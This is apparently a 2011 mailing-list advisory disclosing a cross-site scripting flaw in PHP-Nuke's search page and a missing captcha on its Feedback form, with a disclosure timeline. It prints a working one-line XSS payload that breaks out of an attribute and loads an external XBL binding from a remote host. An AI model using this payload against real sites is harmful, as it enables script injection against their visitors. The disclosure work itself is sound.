XSS and IAA vulnerabilities in PHP-Nuke

["MustLive" <mustlive () websecurity com ua>]

Hello list!

I want to warn you about Cross-Site Scripting and Insufficient 
Anti-automation vulnerabilities in PHP-Nuke.

SecurityVulns ID: 11343.

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Affected products:
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Vulnerable are PHP-Nuke 8.1 and previous versions. Tested in PHP-Nuke 8.0 
and 8.1.

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Details:
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XSS (WASC-08):

POST request at page http://site/modules.php?name=Search

" style="-moz-binding:url('http://websecurity.com.ua/webtools/xss.xml#xss')
In search field.

This is version for Mozilla and Firefox (before 3.0), with using of 
MouseOverJacking it's possible to make version for all browsers.

Insufficient Anti-automation (WASC-21):

http://site/modules.php?name=Feedback

In the form there is no protection from automated requests (captcha).

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Timeline:
------------

2010.10.28 - announced at my site.
2010.10.29 - informed developers.
2011.01.11 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4645/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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